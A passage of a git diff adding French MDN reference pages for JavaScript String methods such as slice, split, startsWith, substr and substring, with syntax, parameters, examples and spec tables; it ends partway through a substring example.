{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.search")}}

+ +

Notes spécifiques à Gecko

+ +
    +
  • flags était un second argument non standard présent uniquement sur Gecko : str.search(regexp, flags)
    • +
  • Avant {{Gecko("8.0")}}, search() n'était pas implémenté correctement ; quand il était appelé sans paramètre ou avec {{jsxref("undefined")}}, la recherche validait la chaine de caractères "undefined", au lieu de valider une chaine de caractères vide. Cela a été corrigé ; désormais, "a".search() et "a".search(undefined) renvoient bien 0.
    • +
  • À partir de Gecko 39 {{geckoRelease(39)}}, les arguments non-standards (flags) pour les drapeaux sont dépréciés et déclenchent des avertissements dans la console ({{bug(1142351)}}). Cette propriété est spécifique à Gecko et sera retirée à l'avenir.
    • +
  • À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard flags n'est plus supporté dans les versions hors release et sera bientôt retiré définitivement ({{bug(1245801)}}).
    • +
  • À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard flags n'est plus pris en charge ({{bug(1108382)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.match()")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/slice/index.html b/files/fr/web/javascript/reference/global_objects/string/slice/index.html new file mode 100644 index 0000000000..d01c172fec --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/slice/index.html @@ -0,0 +1,129 @@ +--- +title: String.prototype.slice() +slug: Web/JavaScript/Reference/Objets_globaux/String/slice +tags: + - Chaîne + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/String/slice +--- +
{{JSRef}}
+ +

La méthode slice() extrait une section d'une chaine de caractères et la retourne comme une nouvelle chaine de caractères. La chaîne de caractères courante n'est pas modifiée.

+ +
{{EmbedInteractiveExample("pages/js/string-slice.html")}}
+ + + +

Syntaxe

+ +
chn.slice(indiceDebut[, indiceFin])
+ +

Paramètres

+ +
+
indiceDebut
+
L'indice base 0 auquel commencer l'extraction. Si négatif, il est traité comme (longueurSource + indiceDebut) où longueurSource est la longueur de la chaine de caractères (par exemple, si indiceDebut est -3, il sera traité comme longueurSource - 3). Si indiceDebut est supérieur à la longueur de la chaîne, slice() renvoie une chaîne vide.
+
indiceFin
+
Paramètre optionnel. Un indice base 0 avant lequel terminer l'extraction. Le caractère à cet indice ne sera pas inclus. Si indiceFin est absent, slice() extraira jusqu'à la fin de la chaine de caractères. Si négatif, il sera traité comme (longueurSource + indiceFin) où longueurSource est la longueur de la chaine de caractères (par exemple s'il vaut -3, il sera traité comme longueurSource - 3)
+
+ +

Valeur retournée

+ +

Une nouvelle chaîne de caractères contenant la section extraite de la chaîne.

+ +

Description

+ +

slice() extrait le texte d'une chaine de caractères et retourne une nouvelle chaîne de caractères. Les changements au texte dans une chaine de caractères n'affectent pas l'autre chaîne.

+ +

slice() extrait jusqu'à indiceFin, mais sans l'inclure. Par exemple, chn.slice(1, 4) extrait du second caractère jusqu'au quatrième caractère (caractères d'indices 1, 2 et 3).

+ +

Par exemple, chn.slice(2, -1) extrait du troisième caractère jusqu'à l'avant-dernier caractère de la chaine de caractères.

+ +

Exemples

+ +

Utilisation de slice() pour créer une nouvelle chaîne de caractères

+ +

L'exemple suivant utilise slice() pour créer une nouvelle chaîne de caractères.

+ +
var chn1 = 'Le matin est sur nous.', // la longueur de chn1 est de 22
+    chn2 = chn1.slice(1, 8),
+    chn3 = chn1.slice(3, -2),
+    chn4 = chn1.slice(13),
+    chn5 = chn1.slice(30);
+console.log(chn2); // SORTIE : e matin
+console.log(chn3); // SORTIE : matin est sur nou
+console.log(chn4); // SORTIE : sur nous.
+console.log(chn5); // SORTIE : ""
+ +

Utilisation de slice() avec des indices négatifs

+ +

L'exemple suivant utilise slice() avec des indices négatifs.

+ +
var chn = 'Le matin est sur nous.';
+chn.slice(-3);     // retourne "us."
+chn.slice(-3, -1); // retourne "us"
+chn.slice(0, -1);  // retourne "Le matin est sur nous"
+
+ +

Dans l'exemple qui suit, on commence à chercher l'indice de début à partir de la fin de la chaîne avec l'argument -11 et on utilise un indice de fin positif avec 16 :

+ +
console.log(chn.slice(-11, 16)); // "st sur"
+ +

On utilise ensuite un indice de début positif (la recherche est effectuée depuis le début de la chaîne) et un indice de fin négatif pour parvenir au même résultat :

+ +
console.log(chn.slice(10, -5)); // "st sur"
+ +

Enfin, on utilise deux indices négatifs : la position de début et la position de fin sont recherchées à parti de la fin de la chaîne :

+ +
console.log(chn.slice(-11, -5)); // "st sur"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée dans JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.slice")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.substr()")}} {{deprecated_inline}}
    • +
  • {{jsxref("String.prototype.substring()")}}
    • +
  • {{jsxref("Array.prototype.slice()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/small/index.html b/files/fr/web/javascript/reference/global_objects/string/small/index.html new file mode 100644 index 0000000000..080d6f7993 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/small/index.html @@ -0,0 +1,80 @@ +--- +title: String.prototype.small() +slug: Web/JavaScript/Reference/Objets_globaux/String/small +tags: + - Deprecated + - HTML wrapper methods + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/small +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode small() permet de créer un élément HTML {{HTMLElement("small")}}, ce qui permet d'afficher la chaîne de caractères dans une fonte de petite taille.

+ +

Syntaxe

+ +
str.small()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("small")}}.

+ +

Description

+ +

La méthode small() encadre la chaîne courante dans une balise <small> :
+ "<small>str</small>"

+ +

Exemple

+ +

Utiliser la méthode small()

+ +

L'exemple suivant illustre les différentes méthodes de String permettant de changer la taille d'une chaîne de caractères :

+ +
var worldString = "Coucou monde";
+
+console.log(worldString.small());     // <small>Coucou monde</small>
+console.log(worldString.big());       // <big>Coucou monde</big>
+console.log(worldString.fontsize(7)); // <font size="7">Coucou monde</fontsize>
+ +

L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut style de l'élément et de le manipuler de façon générique. Par exemple :

+ +
document.getElementById('IDélément').style.fontSize = '0.7em'
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.small', 'String.prototype.small')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.small', 'String.prototype.small')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.small")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.fontsize()")}}
    • +
  • {{jsxref("String.prototype.big()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/split/index.html b/files/fr/web/javascript/reference/global_objects/string/split/index.html new file mode 100644 index 0000000000..bf5822183c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/split/index.html @@ -0,0 +1,239 @@ +--- +title: String.prototype.split() +slug: Web/JavaScript/Reference/Objets_globaux/String/split +tags: + - Expressions rationnelles + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/split +--- +
{{JSRef}}
+ +

La méthode split() permet de diviser une chaîne de caractères à partir d'un séparateur pour fournir un tableau de sous-chaînes.

+ +
{{EmbedInteractiveExample("pages/js/string-split.html")}}
+ + + +

Syntaxe

+ +
str.split([séparateur[, qtéMax]])
+ +

Paramètres

+ +
+
séparateur {{optional_inline}}
+
+

Paramètre optionnel qui définit le ou les caractères à utiliser pour scinder la chaîne. Le séparateur est considéré comme une chaîne ou une {{jsxref("RegExp", "expression rationnelle", "", 1)}}. Si le séparateur est omis ou qu'il n'apparaît pas dans la chaîne, le tableau retourné contiendra un unique élément contenant la chaîne entière. Si le séparateur est une chaîne vide, la chaîne str sera convertie en un tableau dont les éléments seront les caractères de la chaîne. Si le séparateur contient un ou plusieurs caractères, la chaîne de caractères entière doit être trouvée pour effectuer une césure.

+ +

Attention ! Si c'est la chaîne vide qui est utilisée comme séparateur, la chaîne ne sera pas découpée entre chaque caractère visible (grapheme cluster) mais entre chaque codet UTF-16 et les paires de surrogates seront détruites.

+
+
qtéMax {{optional_inline}}
+
Paramètre optionnel. Un entier définissant la limite sur le nombre de sous-chaînes à retourner. La méthode split scindera toujours la chaîne à partir du séparateur, mais le tableau retourné contiendra au plus qtéMax sous-chaînes.
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) qui contient les fragments de la chaîne appelante, découpée en fonction du séparateur indiqué.

+ +

Description

+ +

Lorsqu'il est trouvé, le séparateur est supprimé de la chaîne et les sous-chaînes sont retournées dans un tableau. Si le séparateur est omis, le tableau contiendra un élément correspondant à la chaîne courante. Si le séparateur est une chaîne vide, la chaîne courante est convertie en un tableau composé des caractères de la chaîne. Si le séparateur est uniquement présent au début et/ou à la fin de la chaîne, le tableau contiendra une chaîne vide comme premier et/ou dernier élément (si on utilise cette méthode sur une chaîne qui ne contient que le séparateur, le tableau obtenu aura deux éléments qui seront chacun une chaîne vide).

+ +

Si le séparateur est une expression rationnelle qui contient des parenthèses groupantes, les résultats (incluant tout résultat indéfini) des groupes iront alors dans le tableau retourné à chaque fois qu'une correspondance du séparateur sera trouvée. Cependant, tous les navigateurs ne supportent pas cette possibilité.

+ +

La méthode split() ne modifie pas le tableau courant, elle renvoie un nouveau tableau.

+ +

Lorsque le séparateur fourni est un tableau, le tableau est automatiquement converti en une chaîne de caractères et c'est cette chaîne qui est utilisée comme séparateur.

+ +

{{Note("Quand la chaîne est vide, split() retourne un tableau contenant une chaîne vide, plutôt qu'un tableau vide. Si la chaîne et le séparateur sont tous les deux des chaînes vides, un tableau vide sera renvoyé.")}}

+ +

Exemples

+ +

Utiliser split()

+ +

L'exemple suivant définit une fonction qui divise une chaîne en un tableau de chaînes selon un délimiteur spécifié. Après la coupe de la chaîne, la fonction affiche des messages indiquant la chaîne initiale (avant la coupe), le délimiteur utilisé, le nombre d'éléments dans le tableau, et les éléments du tableau retourné.

+ +
function splitString(stringToSplit, separator) {
+  var arrayOfStrings = stringToSplit.split(separator);
+
+  console.log('La chaine d\'origine est : "' + stringToSplit + '"');
+  console.log('Le délimiteur est : "' + separator + '"');
+  console.log("Le tableau comporte " + arrayOfStrings.length + " elements : ");
+
+  for (var i=0; i < arrayOfStrings.length; i++)
+    print(arrayOfStrings[i] + " / ");
+}
+
+var tempestString = "Oh brave new world that has such people in it.";
+var monthString = "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec";
+
+var espace = " ";
+var virgule = ",";
+
+splitString(tempestString, espace);
+splitString(tempestString);
+splitString(monthString, virgule);
+
+ +

Cet exemple produira la sortie suivante :

+ +
La chaine d'origine est : "Oh brave new world that has such people in it."
+Le délimiteur est : " "
+Le tableau comporte 10 elements : Oh / brave / new / world / that / has / such / people / in / it. /
+
+La chaine d'origine est : "Oh brave new world that has such people in it."
+Le délimiteur est : "undefined"
+Le tableau comporte 1 elements : Oh brave new world that has such people in it. /
+
+La chaine d'origine est : "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"
+Le délimiteur est : ","
+Le tableau comporte 12 elements : Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec /
+
+ +

Supprimer les espaces d'une chaîne

+ +

Dans l'exemple suivant, split recherche zéro ou plusieurs espaces suivis d'un point-virgule, lui-même suivi par zéro ou plus espaces. Lorsque ce « motif » est trouvé, cela supprime celui-ci de la chaîne. nameList est le tableau retourné du résultat de split.

+ +
var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ";
+
+console.log(names);
+
+var re = /\s*(;|$)\s*/;
+var nameList = names.split(re);
+
+console.log(nameList);
+
+ +

Ceci affichera deux lignes dans la console ; la première ligne correspondant à la chaîne d'origine, et la seconde au tableau de résultats.

+ +
Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand
+["Harry Trump","Fred Barney","Helen Rigby","Bill Abel","Chris Hand"]
+
+ +

Retourner un nombre limité de sous-chaînes

+ +

Dans l'exemple suivant, split() recherche des espaces dans une chaîne et retourne les 3 premières sous-chaînes qui correspondent.

+ +
var myString = "Hello World. How are you doing?";
+var splits = myString.split(" ", 3);
+
+console.log(splits);
+
+ +

Ce script affichera :

+ +
["Hello", "World.", "How"]
+
+ +

Découper une expression rationnelle - Parenthèses capturantes

+ +

Si le paramètre séparateur est une expression rationnelle qui contient des parenthèses de capture, les résultats seront retournés dans le tableau.

+ +
var myString = "Hello 1 word. Sentence number 2.";
+var splits = myString.split(/(\d)/); /* Ce motif correspond à un chiffre et est équivalent à [0-9] */
+
+console.log(splits);
+
+ +

Ce script affichera :

+ +
Hello ,1, word. Sentence number ,2,.
+
+ +

Découper une chaîne avec un tableau comme séparateur

+ +
var maChaine = "Ceci|est|un|test";
+var morceaux = maChaine.split(['|']);
+
+console.log(morceaux); // ["Ceci", "est", "un", "test"]
+
+var maChaine2 = "ca,bc,a,bca,bca,bc";
+var morceaux2 = maChaine2.split(["a", "b"]);
+
+console.log(morceaux2); // ["c", "c,", "c", "c", "c"]
+
+ +

Inverser une chaîne en utilisant split()

+ +
var str = 'asdfghjkl';
+var strReverse = str.split('').reverse().join(''); // 'lkjhgfdsa'
+// split renvoie un tableau sur lequel on peut appliquer reverse
+// enfin on utilise join pour assembler le tout.
+ +
+

Note : Si on souhaite tester si la chaîne courante est un palindrome, on pourra utiliser l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison","===","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}.

+
+ +

Attention, cela ne fonctionne pas si la chaîne de caractères contient des groupes de graphèmes, même lorsqu'on utilise une méthode de découpage sensible à Unicode.

+ +
var str = 'résumé';
+var strReverse = str.split(/(?:)/u).reverse().join('');
+// => "émusér"
+
+ +

On pourra utiliser une bibliothèque (cf. esrever) si besoin.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.split', 'String.prototype.split')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.split")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.charAt()")}}
    • +
  • {{jsxref("String.prototype.indexOf()")}}
    • +
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • +
  • {{jsxref("Array.prototype.join()")}}
    • +
+ +

{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}} {{Spec2('ES6')}} Définition initiale au sein d'un standard ECMA.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.split")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/string/startswith/index.html b/files/fr/web/javascript/reference/global_objects/string/startswith/index.html new file mode 100644 index 0000000000..060bd27d32 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/startswith/index.html @@ -0,0 +1,87 @@ +--- +title: String.prototype.startsWith() +slug: Web/JavaScript/Reference/Objets_globaux/String/startsWith +tags: + - ECMAScript6 + - JavaScript + - Méthode + - Prototype + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith +--- +
{{JSRef}}
+ +

La méthode startsWith() renvoie un booléen indiquant si la chaine de caractères commence par la deuxième chaine de caractères fournie en argument.

+ +
{{EmbedInteractiveExample("pages/js/string-startswith.html")}}
+ + + +

Syntaxe

+ +
str.startsWith(chaîneRecherchée [, position]);
+ +

Paramètres

+ +
+
chaîneRecherchée
+
Les caractères à rechercher au début de la chaine de caractères.
+
position {{optional_inline}}
+
La position à laquelle commencer la recherche de chaîneRecherchée ; par défaut 0.
+
+ +

Valeur de retour

+ +

true si la chaîne de caractères commence avec la sous-chaîne en argument, false sinon

+ +

Description

+ +

Cette méthode permet de savoir si une chaine de caractères commence avec une autre chaine de caractères (comme pour les autres méthodes fonctionnant avec les chaînes de caractères, cette méthode est sensible à la casse).

+ +

Exemples

+ +
var str = "Être, ou ne pas être : telle est la question.";
+
+console.log(str.startsWith("Être"));         // true
+console.log(str.startsWith("pas être"));     // false
+console.log(str.startsWith("pas être", 12)); // true
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.startsWith")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.endsWith()")}}
    • +
  • {{jsxref("String.prototype.includes()")}}
    • +
  • {{jsxref("String.prototype.indexOf()")}}
    • +
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • +
  • Prothèse (polyfill) de Mathias Bynens
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/strike/index.html b/files/fr/web/javascript/reference/global_objects/string/strike/index.html new file mode 100644 index 0000000000..e53530aa1f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/strike/index.html @@ -0,0 +1,83 @@ +--- +title: String.prototype.strike() +slug: Web/JavaScript/Reference/Objets_globaux/String/strike +tags: + - Deprecated + - HTML wrapper methods + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/strike +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode strike() permet de créer un élément HTML {{HTMLElement("strike")}} qui permet d'afficher la chaîne comme un texte barré.

+ +

Syntaxe

+ +
str.strike()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("strike")}}.

+ +

Description

+ +

Cette méthode encadre la chaîne de caractères dans une balise <strike> :
+ "<strike>str</strike>"

+ +

Exemples

+ +

Les méthodes suivantes peuvent être utilisées pour modifier le formatage d'une chaîne de caractères :

+ +
var worldString = "Coucou monde";
+
+console.log(worldString.blink());
+console.log(worldString.bold());
+console.log(worldString.italics());
+console.log(worldString.strike());
+ +

Cela produira le code HTML suivant dans la console :

+ +
<blink>Coucou monde</blink>
+<b>Coucou monde</b>
+<i>Coucou monde</i>
+<strike>Coucou monde</strike>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.strike', 'String.prototype.strike')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.strike', 'String.prototype.strike')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.strike")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.blink()")}}
    • +
  • {{jsxref("String.prototype.bold()")}}
    • +
  • {{jsxref("String.prototype.italics()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/sub/index.html b/files/fr/web/javascript/reference/global_objects/string/sub/index.html new file mode 100644 index 0000000000..5b68b64892 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/sub/index.html @@ -0,0 +1,76 @@ +--- +title: String.prototype.sub() +slug: Web/JavaScript/Reference/Objets_globaux/String/sub +tags: + - Deprecated + - HTML wrapper methods + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/sub +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode sub() crée un élément HTML {{HTMLElement("sub")}} qui entraîne l'affichage de la chaîne en indice.

+ +

Syntaxe

+ +
str.sub()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("sub")}}.

+ +

Description

+ +

La méthode sub encapsule une chaîne dans une balise <sub> :
+ "<sub>str</sub>".

+ +

Exemples

+ +

L'exemple suivant utilise les méthodes sub() et {{jsxref("String.prototype.sup()", "sup()")}} pour mettre en forme une chaîne :

+ +
var superText = "exposant";
+var subText = "indice";
+
+console.log("Ceci illustre l'affichage d'un texte en " + superText.sup() + ".");
+// "Ceci illustre l'affichage d'un texte en <sup>expostant</sup>
+
+console.log("Ceci illustre l'affichage d'un texte en " + subText.sub() + ".");
+// "Ceci illustre l'affichage d'un texte en <sub>indice</sub>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{SpecName('ES6', '#sec-string.prototype.sub', 'String.prototype.sub')}}{{Spec2('ES6')}}Définition initiale. Implementée avec JavaScript 1.0. Définie dans l'annexe B (normative) des fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.sub', 'String.prototype.sub')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) des fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.sub")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.sup()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/substr/index.html b/files/fr/web/javascript/reference/global_objects/string/substr/index.html new file mode 100644 index 0000000000..b747e71c56 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/substr/index.html @@ -0,0 +1,139 @@ +--- +title: String.prototype.substr() +slug: Web/JavaScript/Reference/Objets_globaux/String/substr +tags: + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/substr +--- +
{{JSRef}}
+ +
Attention ! Bien que String.prototype.substr(…) ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de l'Annexe B du standard ECMA-262 qui définit l'ensemble des fonctionnalités historiques qui doivent être évitées autant que possible. On utilisera la méthode {{jsxref("String.prototype.substring()")}} à la place.
+ +

La méthode substr() retourne la partie d'une chaîne de caractères comprise entre l'indice de départ et un certain nombre de caractères après celui-ci.

+ +
{{EmbedInteractiveExample("pages/js/string-substr.html")}}
+ + + +

Syntaxe

+ +
chn.substr(début[, longueur])
+ +

Paramètres

+ +
+
début
+
L'indice du premier caractère à inclure dans la sous-chaîne retournée.
+
longueur
+
Optionnel. Le nombre de caractères à extraire.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne contenant la partie indiquée de la chaîne donnée.

+ +

Description

+ +

substr() extrait longueur caractères d'une string, en comptant à partir de l'indice début.

+ +

Si début est un nombre positif, l'indice commence à compter du début de la chaîne. Sa valeur est limitée à chn.length.

+ +

Si début est un nombre négatif, l'indice commence à compter de la fin de la chaîne. Sa valeur est limitée à -chn.length.

+ +

Note : dans JScript de Microsoft, les valeurs négatives de l'argument début ne sont pas considérées comme faisant référence à la fin de la chaîne.

+ +

Si longueur est omise, substr() extrait les caractères jusqu'à la fin de la chaîne.

+ +

Si longueur est {{jsxref("undefined")}}, substr() extrait les caractères jusqu'à la fin de la chaîne.

+ +

Si longueur est négative, elle est traitée comme 0.

+ +

Pour début comme pour longueur, NaN est traité comme 0.

+ +

Exemples

+ +
var uneChaine = 'Mozilla';
+
+console.log(uneChaine.substr(0, 1));   // 'M'
+console.log(uneChaine.substr(1, 0));   // ''
+console.log(uneChaine.substr(-1, 1));  // 'a'
+console.log(uneChaine.substr(1, -1));  // ''
+console.log(uneChaine.substr(-3));     // 'lla'
+console.log(uneChaine.substr(1));      // 'ozilla'
+console.log(uneChaine.substr(-20, 2)); // 'Mo'
+console.log(uneChaine.substr(20, 2));  // ''
+ +

Prothèse d'émulation (polyfill)

+ +

JScript de Microsoft ne supporte pas les valeurs négatives pour l'indice de début. Pour utiliser cette fonctionnalité, vous pouvez utiliser le code suivant :

+ +
// N'appliquer que lorsque la fonction est incomplète
+if ('ab'.substr(-1) != 'b') {
+  /**
+   *  Obtenir la sous-chaîne d'une chaîne
+   *  @param  {entier}  début     où démarrer la sous-chaîne
+   *  @param  {entier}  longueur  combien de caractères à retourner
+   *  @return {chaîne}
+   */
+  String.prototype.substr = function(substr) {
+    return function(début, longueur) {
+      // Appel de la méthode originale
+      return substr.call(this,
+        // Si on a un début négatif, calculer combien il vaut à partir du début de la chaîne
+        // Ajuster le paramètre pour une valeur négative
+        début < 0 ? this.length + début : début,
+        longueur)
+    }
+  }(String.prototype.substr);
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définie dans la Compatibility Annex B (informative). Implémentée dans JavaScript 1.0.
{{SpecName('ES5.1', '#sec-B.2.3', 'String.prototype.substr')}}{{Spec2('ES5.1')}}Définie dans la Compatibility Annex B (informative).
{{SpecName('ES6', '#sec-string.prototype.substr', 'String.prototype.substr')}}{{Spec2('ES6')}}Définie dans l'Annex B (normative) pour les Additional ECMAScript Features for Web Browsers.
{{SpecName('ESDraft', '#sec-string.prototype.substr', 'String.prototype.substr')}}{{Spec2('ESDraft')}}Définie dans l'Annex B (normative) pour les Additional ECMAScript Features for Web Browsers
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.substr")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.slice()")}}
    • +
  • {{jsxref("String.prototype.substring()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/substring/index.html b/files/fr/web/javascript/reference/global_objects/string/substring/index.html new file mode 100644 index 0000000000..eedcb92d58 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/substring/index.html @@ -0,0 +1,180 @@ +--- +title: String.prototype.substring() +slug: Web/JavaScript/Reference/Objets_globaux/String/substring +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/substring +--- +
{{JSRef}}
+ +

La méthode substring() retourne une sous-chaîne de la chaîne courante, entre un indice de début et un indice de fin.

+ +
{{EmbedInteractiveExample("pages/js/string-substring.html")}}
+ + + +

Syntaxe

+ +
str.substring(indiceA[, indiceB])
+ +

Paramètres

+ +
+
indiceA
+
Un entier compris entre 0 et la longueur de la chaîne.
+
indiceB
+
Paramètre optionnel : un entier compris entre 0 et la longueur de la chaine.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères qui correspond à la section souhaitée de la chaîne appelante.

+ +

Description

+ +

substring extrait des caractères de la chaîne courante à partir de indiceA jusqu'à indiceB (non compris). On a notamment :

+ +
    +
  • Si indiceA est égal à indiceB, substring retournera une chaîne vide.
    • +
  • Si indiceB est omis, substring effectuera l'extraction des caractères jusqu'à la fin de la chaîne.
    • +
  • Si l'un des deux arguments est négatif ou vaut {{jsxref("NaN")}}, il sera traité comme 0.
    • +
  • Si l'un des deux arguments est plus grand que str.length, il sera traité comme str.length.
    • +
+ +

Si indiceA est supérieur à indiceB, la fonction substring() intervertira ces deux valeurs afin de les traiter comme si elles avaient été passées dans le bon ordre. Par exemple : str.substring(1, 0) == str.substring(0, 1).

+ +

Exemples

+ +

Utiliser substring()

+ +

Les exemples suivants utilisent la méthode substring() pour extraire et afficher des caractères à partir de la chaine "Mozilla" :

+ +
var uneChaîne = "Mozilla";
+
+// Affiche "Moz"
+console.log(uneChaîne.substring(0,3));
+console.log(uneChaîne.substring(3,0));
+
+// Affiche "lla"
+console.log(uneChaîne.substring(4,7));
+console.log(uneChaîne.substring(4));
+console.log(uneChaîne.substring(7,4));
+
+// Affiche "Mozill"
+console.log(uneChaîne.substring(0,6));
+
+// Affiche "Mozilla"
+console.log(uneChaîne.substring(0,7));
+console.log(uneChaîne.substring(0,10));
+
+ +

Remplacer une sous-chaîne dans une chaîne

+ +

L'exemple suivant remplace une partie d'une chaine. Elle remplace à la fois les caractères individuels et les sous-chaines. La fonction appelée à la fin de cet exemple transforme la chaine "Brave New World" en "Brave New Web".

+ +
function replaceString(oldS, newS, fullS) {
+// On remplace oldS avec newS dans fullS
